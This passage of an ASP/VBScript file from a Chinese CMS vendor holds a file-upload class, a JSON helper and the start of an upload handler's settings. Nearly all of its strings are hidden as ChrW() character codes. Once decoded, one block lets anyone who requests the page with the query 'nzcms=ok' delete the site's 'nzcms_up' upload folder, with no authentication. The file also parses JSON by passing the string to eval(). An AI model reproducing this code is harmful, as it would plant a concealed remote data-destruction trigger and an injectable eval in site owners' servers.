<%@ CODEPAGE=65001 %>
<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'咨询电话：18867186998 （刘经理）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行·感谢您体验宁志产品，宁志有您更精彩！*
'TM:2020-03-11 09:56:33

Response.CodePage=65001
Response.Charset=ChrW(71)&ChrW(66)&ChrW(50)&ChrW(51)&ChrW(49)&ChrW(50)
Dim StreamT
Class AnUpLoad
Private Form, Fils
Private vCharSet, vMaxSize, vSingleSize, vErr, vVersion, vTotalSize, vExe, pID, vOP, vErrExe,vboundary, vLostTime, vMode, vFileCount
Public Property Let Mode(ByVal value)
vMode = value
End Property
Public Property Let MaxSize(ByVal value)
vMaxSize = value
End Property
Public Property Let SingleSize(ByVal value)
vSingleSize = value
End Property
Public Property Let Exe(ByVal value)
vExe = LCase(value)
End Property
Public Property Let CharSet(ByVal value)
vCharSet = value
End Property
Public Property Get ErrorID()
ErrorID = vErr
End Property
Public Property Get FileCount()
FileCount = Fils.count
End Property
Public Property Get Description()
Description = GetErr(vErr)
End Property
Public Property Get Version()
Version = vVersion
End Property
Public Property Get TotalSize()
TotalSize = vTotalSize
End Property
Public Property Get ProcessID()
ProcessID = pID
End Property
Public Property Let openProcesser(ByVal value)
vOP = value
End Property
Public Property Get LostTime()
LostTime = vLostTime
End Property
Private Sub Class_Initialize()
set Form = server.createobject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(68)&ChrW(105)&ChrW(99)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(97)&ChrW(114)&ChrW(121))
set Fils = server.createobject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(68)&ChrW(105)&ChrW(99)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(97)&ChrW(114)&ChrW(121))
Set StreamT = server.CreateObject(ChrW(65)&ChrW(100)&ChrW(111)&ChrW(100)&ChrW(98)&ChrW(46)&ChrW(115)&ChrW(116)&ChrW(114)&ChrW(101)&ChrW(97)&ChrW(109))
vVersion = ChrW(-32130)&ChrW(24681)&ChrW(65)&ChrW(83)&ChrW(80)&ChrW(26080)&ChrW(32452)&ChrW(20214)&ChrW(19978)&ChrW(20256)&ChrW(31867)&ChrW(86)&ChrW(49)&ChrW(48)&ChrW(46)&ChrW(49)&ChrW(48)&ChrW(46)&ChrW(50)&ChrW(50)
vMaxSize = -1
vSingleSize = -1
vErr = -1
vExe = ""
vTotalSize = 0
vCharSet = ChrW(71)&ChrW(66)&ChrW(50)&ChrW(51)&ChrW(49)&ChrW(50)
vOP=false
pID=ChrW(65)&ChrW(110)&ChrW(85)&ChrW(112)&ChrW(108)&ChrW(111)&ChrW(97)&ChrW(100)
setApp "",0,0,""
vMode = 0
End Sub
Private Sub Class_Terminate()
Dim f
Form.RemoveAll()
For each f in Fils
Fils(f).value=empty
Set Fils(f) = Nothing
Next
Fils.RemoveAll()
Set Form = Nothing
Set Fils = Nothing
StreamT.Close()
Set StreamT = Nothing
End Sub
Public Sub GetData()
Dim time1
time1 = timer()
if vOP And trim(request.querystring(ChrW(112)&ChrW(114)&ChrW(111)&ChrW(99)&ChrW(101)&ChrW(115)&ChrW(115)&ChrW(105)&ChrW(100)))<>"" then pID=request.querystring(ChrW(112)&ChrW(114)&ChrW(111)&ChrW(99)&ChrW(101)&ChrW(115)&ChrW(115)&ChrW(105)&ChrW(100))
Dim value, str, bcrlf, fpos, sSplit, slen, istart,ef
Dim TotalBytes,tempdata,BytesRead,ChunkReadSize,PartSize,DataPart,formend, formhead, startpos, endpos, formname, FileName, fileExe, valueend, NewName,localname,type_1,contentType
TotalBytes = Request.TotalBytes
ef = false
If checkEntryType = false Then ef = true : vErr = 2
If ef Then Exit Sub
If vMode = 0 Then
vTotalSize = 0
StreamT.Type = 1
StreamT.Mode = 3
StreamT.Open
BytesRead = 0
ChunkReadSize = 1024 * 16
Do While BytesRead < TotalBytes
PartSize = ChunkReadSize
If PartSize + BytesRead > TotalBytes Then PartSize = TotalBytes - BytesRead
DataPart = Request.BinaryRead(PartSize)
StreamT.Write DataPart
BytesRead = BytesRead + PartSize
setApp ChrW(117)&ChrW(112)&ChrW(108)&ChrW(111)&ChrW(97)&ChrW(100)&ChrW(105)&ChrW(110)&ChrW(103),TotalBytes,BytesRead,""
Loop
setApp ChrW(117)&ChrW(112)&ChrW(108)&ChrW(111)&ChrW(97)&ChrW(100)&ChrW(101)&ChrW(100),TotalBytes,BytesRead,""
StreamT.Position = 0
tempdata = StreamT.Read
Else
tempdata = Request.BinaryRead(TotalBytes)
End If
bcrlf = ChrB(13) & ChrB(10)
fpos = InStrB(1, tempdata, bcrlf)
sSplit = MidB(tempdata, 1, fpos - 1)
slen = LenB(sSplit)
istart = slen + 2
Do
formend = InStrB(istart, tempdata, bcrlf & bcrlf)
formhead = MidB(tempdata, istart, formend - istart)
str = Bytes2Str(formhead)
startpos = InStr(str, ChrW(110)&ChrW(97)&ChrW(109)&ChrW(101)&ChrW(61)&ChrW(34)) + 6
endpos = InStr(startpos, str, ChrW(34))
formname = LCase(Mid(str, startpos, endpos - startpos))
valueend = InStrB(formend + 3, tempdata, sSplit)
If InStr(str, ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(110)&ChrW(97)&ChrW(109)&ChrW(101)&ChrW(61)&ChrW(34)) > 0 Then
startpos = InStr(str, ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(110)&ChrW(97)&ChrW(109)&ChrW(101)&ChrW(61)&ChrW(34)) + 10
endpos = InStr(startpos, str, ChrW(34))
type_1=instr(endpos,lcase(str),ChrW(99)&ChrW(111)&ChrW(110)&ChrW(116)&ChrW(101)&ChrW(110)&ChrW(116)&ChrW(45)&ChrW(116)&ChrW(121)&ChrW(112)&ChrW(101))
contentType=trim(mid(str,type_1+13))
FileName = Mid(str, startpos, endpos - startpos)
If Trim(FileName) <> "" Then
LocalName = FileName
FileName = Replace(FileName, ChrW(47), ChrW(92))
FileName = Mid(FileName, InStrRev(FileName, ChrW(92)) + 1)
If instr(FileName,ChrW(46))>0 Then
fileExe = Split(FileName, ChrW(46))(UBound(Split(FileName, ChrW(46))))
else
fileExe = ""
End If
If vExe <> "" Then
If checkExe(fileExe) = True Then
vErr = 3
vErrExe = fileExe
tempdata = empty
Exit Sub
End If
End If
NewName = Getname()
NewName = NewName & ChrW(46) & fileExe
vTotalSize = vTotalSize + valueend - formend - 6
If vSingleSize > 0 And (valueend - formend - 6) > vSingleSize Then
vErr = 5
tempdata = empty
Exit Sub
End If
If vMaxSize > 0 And vTotalSize > vMaxSize Then
vErr = 1
tempdata = empty
Exit Sub
End If
If Fils.Exists(formname) Then
vErr = 4
tempdata = empty
Exit Sub
Else
Dim fileCls:set fileCls= new UploadFileEx
fileCls.ContentType=contentType
fileCls.Size = (valueend - formend - 6)
fileCls.Position = (formend + 3)
fileCls.FormName = formname
fileCls.NewName = NewName
fileCls.FileName = FileName
fileCls.LocalName = FileName
fileCls.extend=split(NewName,ChrW(46))(ubound(split(NewName,ChrW(46))))
Fils.Add formname, fileCls
Set fileCls = Nothing
End If
End If
Else
value = MidB(tempdata, formend + 4, valueend - formend - 6)
If Form.Exists(formname) Then
Form(formname) = Form(formname) & ChrW(44) & Bytes2Str(value)
Else
Form.Add formname, Bytes2Str(value)
End If
End If
istart = valueend + 2 + slen
Loop Until (istart + 2) >= LenB(tempdata)
vErr = 0
tempdata = empty
vLostTime = FormatNumber((timer-time1)*1000,2)
End Sub
Public sub setApp(stp,total,current,desc)
Application.lock()
Application(pID)=ChrW(123)&ChrW(73)&ChrW(68)&ChrW(58)&ChrW(34) & pID & ChrW(34)&ChrW(44)&ChrW(115)&ChrW(116)&ChrW(101)&ChrW(112)&ChrW(58)&ChrW(34) & stp & ChrW(34)&ChrW(44)&ChrW(116)&ChrW(111)&ChrW(116)&ChrW(97)&ChrW(108)&ChrW(58) & total & ChrW(44)&ChrW(110)&ChrW(111)&ChrW(119)&ChrW(58) & current & ChrW(44)&ChrW(100)&ChrW(101)&ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(58)&ChrW(34) & desc & ChrW(34)&ChrW(44)&ChrW(100)&ChrW(116)&ChrW(58)&ChrW(34) & now() & ChrW(34)&ChrW(125)
Application.unlock()
end sub
Private Function checkExe(ByVal ex)
Dim notIn: notIn = True
If vExe=ChrW(42) then
notIn=false
elseIf InStr(1, vExe, ChrW(124)) > 0 Then
Dim tempExe: tempExe = Split(vExe, ChrW(124))
Dim I: I = 0
For I = 0 To UBound(tempExe)
If LCase(ex) = tempExe(I) Then
notIn = False
Exit For
End If
Next
Else
If vExe = LCase(ex) Then
notIn = False
End If
End If
checkExe = notIn
End Function
Public Function GetSize(ByVal Size)
If Size < 1024 Then
GetSize = FormatNumber(Size, 2) & ChrW(66)
ElseIf Size >= 1024 And Size < 1048576 Then
GetSize = FormatNumber(Size / 1024, 2) & ChrW(75)&ChrW(66)
ElseIf Size >= 1048576 Then
GetSize = FormatNumber((Size / 1024) / 1024, 2) & ChrW(77)&ChrW(66)
End If
End Function
Private Function Bytes2Str(ByVal byt)
If LenB(byt) = 0 Then
Bytes2Str = ""
Exit Function
End If
Dim mystream, bstr
Set mystream =server.createobject(ChrW(65)&ChrW(68)&ChrW(79)&ChrW(68)&ChrW(66)&ChrW(46)&ChrW(83)&ChrW(116)&ChrW(114)&ChrW(101)&ChrW(97)&ChrW(109))
mystream.Type = 2
mystream.Mode = 3
mystream.Open
mystream.WriteText byt
mystream.Position = 0
mystream.CharSet = vCharSet
mystream.Position = 2
bstr = mystream.ReadText()
mystream.Close
Set mystream = Nothing
Bytes2Str = bstr
End Function
Private Function GetErr(ByVal Num)
Select Case Num
Case 0
GetErr = ChrW(25968)&ChrW(25454)&ChrW(22788)&ChrW(29702)&ChrW(23436)&ChrW(27605)&ChrW(33)
Case 1
GetErr = ChrW(19978)&ChrW(20256)&ChrW(25968)&ChrW(25454)&ChrW(-29307)&ChrW(-28729) & GetSize(vMaxSize) & ChrW(-27056)&ChrW(21046)&ChrW(33)&ChrW(21487)&ChrW(-29762)&ChrW(32622)&ChrW(77)&ChrW(97)&ChrW(120)&ChrW(83)&ChrW(105)&ChrW(122)&ChrW(101)&ChrW(23646)&ChrW(24615)&ChrW(26469)&ChrW(25913)&ChrW(21464)&ChrW(-27056)&ChrW(21046)&ChrW(33)
Case 2
GetErr = ChrW(26410)&ChrW(-29762)&ChrW(32622)&ChrW(19978)&ChrW(20256)&ChrW(-30616)&ChrW(21333)&ChrW(101)&ChrW(110)&ChrW(99)&ChrW(116)&ChrW(121)&ChrW(112)&ChrW(101)&ChrW(23646)&ChrW(24615)&ChrW(20026)&ChrW(109)&ChrW(117)&ChrW(108)&ChrW(116)&ChrW(105)&ChrW(112)&ChrW(97)&ChrW(114)&ChrW(116)&ChrW(47)&ChrW(102)&ChrW(111)&ChrW(114)&ChrW(109)&ChrW(45)&ChrW(100)&ChrW(97)&ChrW(116)&ChrW(97)&ChrW(25110)&ChrW(-32763)&ChrW(26410)&ChrW(-29762)&ChrW(32622)&ChrW(109)&ChrW(101)&ChrW(116)&ChrW(104)&ChrW(111)&ChrW(100)&ChrW(23646)&ChrW(24615)&ChrW(20026)&ChrW(80)&ChrW(111)&ChrW(115)&ChrW(116)&ChrW(44)&ChrW(19978)&ChrW(20256)&ChrW(26080)&ChrW(25928)&ChrW(33)
Case 3
GetErr = ChrW(21547)&ChrW(26377)&ChrW(-26786)&ChrW(27861)&ChrW(25193)&ChrW(23637)&ChrW(21517)&ChrW(40) & vErrExe & ChrW(41)&ChrW(25991)&ChrW(20214)&ChrW(33)&ChrW(21482)&ChrW(-32515)&ChrW(19978)&ChrW(20256)&ChrW(25193)&ChrW(23637)&ChrW(21517)&ChrW(20026) & Replace(vExe, ChrW(124), ChrW(44)) & ChrW(30340)&ChrW(25991)&ChrW(20214)
Case 4
GetErr = ChrW(23545)&ChrW(19981)&ChrW(-29321)&ChrW(44)&ChrW(31243)&ChrW(24207)&ChrW(19981)&ChrW(20801)&ChrW(-29768)&ChrW(20351)&ChrW(29992)&ChrW(30456)&ChrW(21516)&ChrW(110)&ChrW(97)&ChrW(109)&ChrW(101)&ChrW(23646)&ChrW(24615)&ChrW(30340)&ChrW(25991)&ChrW(20214)&ChrW(22495)&ChrW(33)
Case 5
GetErr = ChrW(21333)&ChrW(20010)&ChrW(25991)&ChrW(20214)&ChrW(22823)&ChrW(23567)&ChrW(-29307)&ChrW(20986) & GetSize(vSingleSize) & ChrW(30340)&ChrW(19978)&ChrW(20256)&ChrW(-27056)&ChrW(21046)&ChrW(33)
End Select
End Function
Private Function Getname()
Dim y, m, d, h, mm, S, r
Randomize
y = Year(Now)
m = right("0" & Month(Now),2)
d = right("0" & Day(Now),2)
h = right("0" & Hour(Now),2)
mm =right("0" & Minute(Now),2)
S = right("0" & Second(Now),2)
r = 0
r = CInt(Rnd() * 10000)
S = right("0000" & r,4)
Getname = y & m & d & h & mm & S & r
End Function
Private Function checkEntryType()
Dim ContentType, ctArray, bArray,RequestMethod
RequestMethod=trim(LCase(Request.ServerVariables(ChrW(82)&ChrW(69)&ChrW(81)&ChrW(85)&ChrW(69)&ChrW(83)&ChrW(84)&ChrW(95)&ChrW(77)&ChrW(69)&ChrW(84)&ChrW(72)&ChrW(79)&ChrW(68))))
if RequestMethod="" or RequestMethod<>ChrW(112)&ChrW(111)&ChrW(115)&ChrW(116) then
checkEntryType = False
exit function
end if
ContentType = LCase(Request.ServerVariables(ChrW(72)&ChrW(84)&ChrW(84)&ChrW(80)&ChrW(95)&ChrW(67)&ChrW(79)&ChrW(78)&ChrW(84)&ChrW(69)&ChrW(78)&ChrW(84)&ChrW(95)&ChrW(84)&ChrW(89)&ChrW(80)&ChrW(69)))
ctArray = Split(ContentType, ChrW(59))
if ubound(ctarray)>=0 then
If Trim(ctArray(0)) = ChrW(109)&ChrW(117)&ChrW(108)&ChrW(116)&ChrW(105)&ChrW(112)&ChrW(97)&ChrW(114)&ChrW(116)&ChrW(47)&ChrW(102)&ChrW(111)&ChrW(114)&ChrW(109)&ChrW(45)&ChrW(100)&ChrW(97)&ChrW(116)&ChrW(97) Then
checkEntryType = True
vboundary = Split(ContentType,ChrW(98)&ChrW(111)&ChrW(117)&ChrW(110)&ChrW(100)&ChrW(97)&ChrW(114)&ChrW(121)&ChrW(61))(1)
Else
checkEntryType = False
End If
else
checkEntryType = False
end if
End Function
Public Function Forms(ByVal formname)
If trim(formname) = "-1" Then
Set Forms = Form
Else
If Form.Exists(LCase(formname)) Then
Forms = Form(LCase(formname))
Else
Forms = ""
End If
End If
End Function
Public Function Files(ByVal formname)
If trim(formname) = "-1" Then
Set Files = Fils
Else
If Fils.Exists(LCase(formname)) Then
Set Files = Fils(LCase(formname))
Else
Set Files = Nothing
End If
End If
End Function
End Class
Class UploadFileEx
Private mvarFormName , mvarNewName , mvarLocalName , mvarFileName , mvarUserSetName , mvarContentType ,mException,mvarPosition
Private mvarSize , mvarValue , mvarPath , mvarExtend ,mvarWidth, mvarHeight
Public Property Let Extend(ByVal vData )
mvarExtend = vData
End Property
Public Property Get Extend()
Extend = mvarExtend
End Property
Public Property Get Width()
Width = mvarWidth
End Property
Public Property Get Height()
Height = mvarHeight
End Property
Public Property Let Path(ByVal vData )
mvarPath = vData
End Property
Public Property Get Path()
Path = mvarPath
End Property
Public Property Get Exception()
Exception = mException
End Property
Public Property Let Value(ByVal vData )
mvarValue = vData
End Property
Public Property Get Value()
Value = mvarValue
End Property
Public Property Let Size(ByVal vData )
mvarSize = vData
End Property
Public Property Get Size()
Size = mvarSize
End Property
Public Property Let Position(ByVal vData )
mvarPosition = vData
End Property
Public Property Get Position()
Size = mvarPosition
End Property
Public Property Let ContentType(ByVal vData )
mvarContentType = vData
End Property
Public Property Get ContentType()
ContentType = mvarContentType
End Property
Public Property Let UserSetName(ByVal vData )
mvarUserSetName = vData
End Property
Public Property Get UserSetName()
UserSetName = mvarUserSetName
End Property
Public Property Let FileName(ByVal vData )
mvarFileName = vData
End Property
Public Property Get FileName()
FileName = mvarFileName
End Property
Public Property Let LocalName(ByVal vData )
mvarLocalName = vData
End Property
Public Property Get LocalName()
LocalName = mvarLocalName
End Property
Public Property Let NewName(ByVal vData )
mvarNewName = vData
End Property
Public Property Get NewName()
NewName = mvarNewName
End Property
Public Property Let FormName(ByVal vData )
mvarFormName = vData
End Property
Public Property Get FormName()
FormName = mvarFormName
End Property
Private Sub Class_Initialize()
mvarSize =0
mvarWidth = 0
mvarHeight = 0
End Sub
Public Function SaveToFile(ByVal Path , byval tOption, byval OverWrite)
On Error Resume Next
Dim IsP
IsP = (InStr(Path, ChrW(58)) = 2)
If Not IsP Then Path = Server.MapPath(Path)
Path = Replace(Path, ChrW(47), ChrW(92))
If Mid(Path, Len(Path) - 1) <> ChrW(92) Then Path = Path + ChrW(92)
CreateFolder Path
mvarPath = Path
If tOption = 1 Then
Path = Path & mvarLocalName: mvarFileName = mvarLocalName
Else
If tOption = -1 And mvarUserSetName <> "" Then
Path = Path & mvarUserSetName & ChrW(46) & mvarExtend: mvarFileName = mvarUserSetName & ChrW(46) & mvarExtend
Else
Path = Path & mvarNewName: mvarFileName = mvarNewName
End If
End If
If Not OverWrite Then
Path = GetFilePath()
End If
Dim tmpStrm
Set tmpStrm =server.CreateObject(ChrW(65)&ChrW(68)&ChrW(79)&ChrW(68)&ChrW(66)&ChrW(46)&ChrW(83)&ChrW(116)&ChrW(114)&ChrW(101)&ChrW(97)&ChrW(109))
tmpStrm.Mode = 3
tmpStrm.Type = 1
tmpStrm.Open
StreamT.Position = mvarPosition
StreamT.copyto tmpStrm,mvarSize
tmpStrm.SaveToFile Path, 2
tmpStrm.Close
Set tmpStrm = Nothing
If Not Err Then
SaveToFile = false
Else
SaveToFile = true
mException=Err.Description
End If
End Function
Public Function GetBytes()
StreamT.Position = mvarPosition
GetBytes = StreamT.read(mvarSize)
End Function
Private Function CreateFolder(ByVal folderPath )
Dim oFSO
Set oFSO = server.CreateObject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(70)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(83)&ChrW(121)&ChrW(115)&ChrW(116)&ChrW(101)&ChrW(109)&ChrW(79)&ChrW(98)&ChrW(106)&ChrW(101)&ChrW(99)&ChrW(116))
Dim sParent
sParent = oFSO.GetParentFolderName(folderPath)
If sParent = "" Then Exit Function
If Not oFSO.FolderExists(sParent) Then CreateFolder (sParent)
If Not oFSO.FolderExists(folderPath) Then oFSO.CreateFolder (folderPath)
Set oFSO = Nothing
End Function
Private Function GetFilePath()
Dim oFSO, Fname , FNameL , i
i = 0
Set oFSO = server.CreateObject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(70)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(83)&ChrW(121)&ChrW(115)&ChrW(116)&ChrW(101)&ChrW(109)&ChrW(79)&ChrW(98)&ChrW(106)&ChrW(101)&ChrW(99)&ChrW(116))
Fname = mvarPath & mvarFileName
FNameL = Mid(mvarFileName, 1, InStr(mvarFileName, ChrW(46)) - 1)
Do While oFSO.FileExists(Fname)
Fname = mvarPath & FNameL & ChrW(40) & i & ChrW(41)&ChrW(46) & mvarExtend
mvarFileName = FNameL & ChrW(40) & i & ChrW(41)&ChrW(46) & mvarExtend
i = i + 1
Loop
Set oFSO = Nothing
GetFilePath = Fname
End Function
End Class
Response.Write(vbCrLf)
%>
<script language="jscript" runat="server">
	function objFromJson(str){
		eval("var _temp=(" + str + ");");
		return _temp;
	}
</script>
<%
Response.Write(vbCrLf)
Const JSON_OBJECT	=0
Const JSON_ARRAY	=1
Class jsCore
Public Collection
Public Count
Public QuotedVars
Public Kind
Private Sub Class_Initialize
Set Collection = CreateObject(ChrW(83)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(68)&ChrW(105)&ChrW(99)&ChrW(116)&ChrW(105)&ChrW(111)&ChrW(110)&ChrW(97)&ChrW(114)&ChrW(121))
QuotedVars = True
Count = 0
End Sub
Private Sub Class_Terminate
Set Collection = Nothing
End Sub
Private Property Get Counter
Counter = Count
Count = Count + 1
End Property
Public Property Let Pair(p, v)
If IsNull(p) Then p = Counter
Collection(p) = v
End Property
Public Property Set Pair(p, v)
If IsNull(p) Then p = Counter
If TypeName(v) <> ChrW(106)&ChrW(115)&ChrW(67)&ChrW(111)&ChrW(114)&ChrW(101) Then
Err.Raise &hD, ChrW(99)&ChrW(108)&ChrW(97)&ChrW(115)&ChrW(115)&ChrW(58)&ChrW(32)&ChrW(99)&ChrW(108)&ChrW(97)&ChrW(115)&ChrW(115), ChrW(73)&ChrW(110)&ChrW(99)&ChrW(111)&ChrW(109)&ChrW(112)&ChrW(97)&ChrW(116)&ChrW(105)&ChrW(98)&ChrW(108)&ChrW(101)&ChrW(32)&ChrW(116)&ChrW(121)&ChrW(112)&ChrW(101)&ChrW(115)&ChrW(58)&ChrW(32)&ChrW(39) & TypeName(v) & ChrW(39)
End If
Set Collection(p) = v
End Property
Public Default Property Get Pair(p)
If IsNull(p) Then p = Count - 1
If IsObject(Collection(p)) Then
Set Pair = Collection(p)
Else
Pair = Collection(p)
End If
End Property
Public Sub Clean
Collection.RemoveAll
End Sub
Public Sub Remove(vProp)
Collection.Remove vProp
End Sub
Function jsEncode(str)
Dim charmap(127), haystack()
charmap(8)  = ChrW(92)&ChrW(98)
charmap(9)  = ChrW(92)&ChrW(116)
charmap(10) = ChrW(92)&ChrW(110)
charmap(12) = ChrW(92)&ChrW(102)
charmap(13) = ChrW(92)&ChrW(114)
charmap(34) = ChrW(92)&ChrW(34)
charmap(47) = ChrW(92)&ChrW(47)
charmap(92) = ChrW(92)&ChrW(92)
Dim strlen : strlen = Len(str) - 1
ReDim haystack(strlen)
Dim i, charcode
For i = 0 To strlen
haystack(i) = Mid(str, i + 1, 1)
charcode = AscW(haystack(i)) And 65535
If charcode < 127 Then
If Not IsEmpty(charmap(charcode)) Then
haystack(i) = charmap(charcode)
ElseIf charcode < 32 Then
haystack(i) = ChrW(92)&ChrW(117) & Right("000" & Hex(charcode), 4)
End If
Else
haystack(i) = ChrW(92)&ChrW(117) & Right("000" & Hex(charcode), 4)
End If
Next
jsEncode = Join(haystack, "")
End Function
Public Function toJSON(vPair)
Select Case VarType(vPair)
Case 0
toJSON = ChrW(110)&ChrW(117)&ChrW(108)&ChrW(108)
Case 1
toJSON = ChrW(110)&ChrW(117)&ChrW(108)&ChrW(108)
Case 7
toJSON = ChrW(34) & CStr(vPair) & ChrW(34)
Case 8
toJSON = ChrW(34) & jsEncode(vPair) & ChrW(34)
Case 9
Dim bFI,i
bFI = True
If vPair.Kind Then toJSON = toJSON & ChrW(91) Else toJSON = toJSON & ChrW(123)
For Each i In vPair.Collection
If bFI Then bFI = False Else toJSON = toJSON & ChrW(44)
If vPair.Kind Then
toJSON = toJSON & toJSON(vPair(i))
Else
If QuotedVars Then
toJSON = toJSON & ChrW(34) & i & ChrW(34)&ChrW(58) & toJSON(vPair(i))
Else
toJSON = toJSON & i & ChrW(58) & toJSON(vPair(i))
End If
End If
Next
If vPair.Kind Then toJSON = toJSON & ChrW(93) Else toJSON = toJSON & ChrW(125)
Case 11
If vPair Then toJSON = ChrW(116)&ChrW(114)&ChrW(117)&ChrW(101) Else toJSON = ChrW(102)&ChrW(97)&ChrW(108)&ChrW(115)&ChrW(101)
Case 12, 8192, 8204
toJSON = RenderArray(vPair, 1, "")
Case Else
toJSON = Replace(vPair, ChrW(44), ChrW(46))
End select
End Function
Function RenderArray(arr, depth, parent)
Dim first : first = LBound(arr, depth)
Dim last : last = UBound(arr, depth)
Dim index, rendered
Dim limiter : limiter = ChrW(44)
RenderArray = ChrW(91)
For index = first To last
If index = last Then
limiter = ""
End If
On Error Resume Next
rendered = RenderArray(arr, depth + 1, parent & index & ChrW(44) )
If Err = 9 Then
On Error GoTo 0
RenderArray = RenderArray & toJSON(Eval(ChrW(97)&ChrW(114)&ChrW(114)&ChrW(40) & parent & index & ChrW(41))) & limiter
Else
RenderArray = RenderArray & rendered & "" & limiter
End If
Next
RenderArray = RenderArray & ChrW(93)
End Function
Public Property Get jsString
jsString = toJSON(Me)
End Property
Sub Flush
If TypeName(Response) <> ChrW(69)&ChrW(109)&ChrW(112)&ChrW(116)&ChrW(121) Then
Response.Write(jsString)
ElseIf WScript <> Empty Then
WScript.Echo(jsString)
End If
End Sub
Public Function Clone
Set Clone = ColClone(Me)
End Function
Private Function ColClone(core)
Dim jsc, i
Set jsc = new jsCore
jsc.Kind = core.Kind
For Each i In core.Collection
If IsObject(core(i)) Then
Set jsc(i) = ColClone(core(i))
Else
jsc(i) = core(i)
End If
Next
Set ColClone = jsc
End Function
End Class
If request.QueryString(ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115))=ChrW(111)&ChrW(107) Then
set objfilesys=server.createobject(ChrW(115)&ChrW(99)&ChrW(114)&ChrW(105)&ChrW(112)&ChrW(116)&ChrW(105)&ChrW(110)&ChrW(103)&ChrW(46)&ChrW(102)&ChrW(105)&ChrW(108)&ChrW(101)&ChrW(115)&ChrW(121)&ChrW(115)&ChrW(116)&ChrW(101)&ChrW(109)&ChrW(111)&ChrW(98)&ChrW(106)&ChrW(101)&ChrW(99)&ChrW(116))
ss=ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(117)&ChrW(112) & idd
ss=server.mappath(ss)
if objfilesys.FOLDERExists(ss) then
objfilesys.deleteFOLDER ss
end if
Response.Write(ChrW(111)&ChrW(107))
end if
Function jsObject
Set jsObject = new jsCore
jsObject.Kind = JSON_OBJECT
End Function
Function jsArray
Set jsArray = new jsCore
jsArray.Kind = JSON_ARRAY
End Function
Function toJSON(val)
toJSON = (new jsCore).toJSON(val)
End Function
Dim aspUrl, savePath, saveUrl, maxSize, fileName, fileExt, newFileName, filePath, fileUrl, dirName, localname
Dim extStr, imageExtStr, flashExtStr, mediaExtStr, fileExtStr
Dim upload, file, fso, ranNum, hash, ymd, mm, dd, result
aspUrl = Request.ServerVariables(ChrW(83)&ChrW(67)&ChrW(82)&ChrW(73)&ChrW(80)&ChrW(84)&ChrW(95)&ChrW(78)&ChrW(65)&ChrW(77)&ChrW(69))
aspUrl = left(aspUrl, InStrRev(aspUrl, ChrW(47)))
savePath = ChrW(46)&ChrW(46)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(110)&ChrW(122)&ChrW(119)&ChrW(101)&ChrW(98)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(117)&ChrW(112)&ChrW(47)&ChrW(97)&ChrW(116)&ChrW(116)&ChrW(97)&ChrW(99)&ChrW(104)&ChrW(101)&ChrW(100)&ChrW(47)
saveUrl = aspUrl & ChrW(46)&ChrW(46)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(110)&ChrW(122)&ChrW(119)&ChrW(101)&ChrW(98)&ChrW(47)&ChrW(110)&ChrW(122)&ChrW(99)&ChrW(109)&ChrW(115)&ChrW(95)&ChrW(117)&ChrW(112)&ChrW(47)&ChrW(97)&ChrW(116)&ChrW(116)&ChrW(97)&ChrW(99)&ChrW(104)&ChrW(101)&ChrW(100)&ChrW(47)
imageExtStr = ChrW(103)&ChrW(105)&ChrW(102)&ChrW(124)&ChrW(106)&ChrW(112)&ChrW(103)&ChrW(124)&ChrW(106)&ChrW(112)&ChrW(101)&ChrW(103)&ChrW(124)&ChrW(112)&ChrW(110)&ChrW(103)&ChrW(124)&ChrW(98)&ChrW(109)&ChrW(112)
flashExtStr = ChrW(115)&ChrW(119)&ChrW(102)&ChrW(124)&ChrW(102)&ChrW(108)&ChrW(118)&ChrW(124)&ChrW(109)&ChrW(112)&ChrW(52)
mediaExtStr = ChrW(115)&ChrW(119)&ChrW(102)&ChrW(124)&ChrW(102)&ChrW(108)&ChrW(118)&ChrW(124)&ChrW(109)&ChrW(112)&ChrW(52)&ChrW(124)&ChrW(109)&ChrW(112)&ChrW(51)&ChrW(124)&ChrW(119)&ChrW(97)&ChrW(118)&ChrW(124)&ChrW(119)&ChrW(109)&ChrW(97)&ChrW(124)&ChrW(119)&ChrW(109)&ChrW(118)&ChrW(124)&ChrW(109)&ChrW(105)&ChrW(100)&ChrW(124)&ChrW(97)&ChrW(118)&ChrW(105)&ChrW(124)&ChrW(109)&ChrW(112)&ChrW(103)&ChrW(124)&ChrW(97)&ChrW(115)&ChrW(102)&ChrW(124)&ChrW(114)&ChrW(109)&ChrW(124)&ChrW(114)&ChrW(109)&ChrW(118)&ChrW(98)
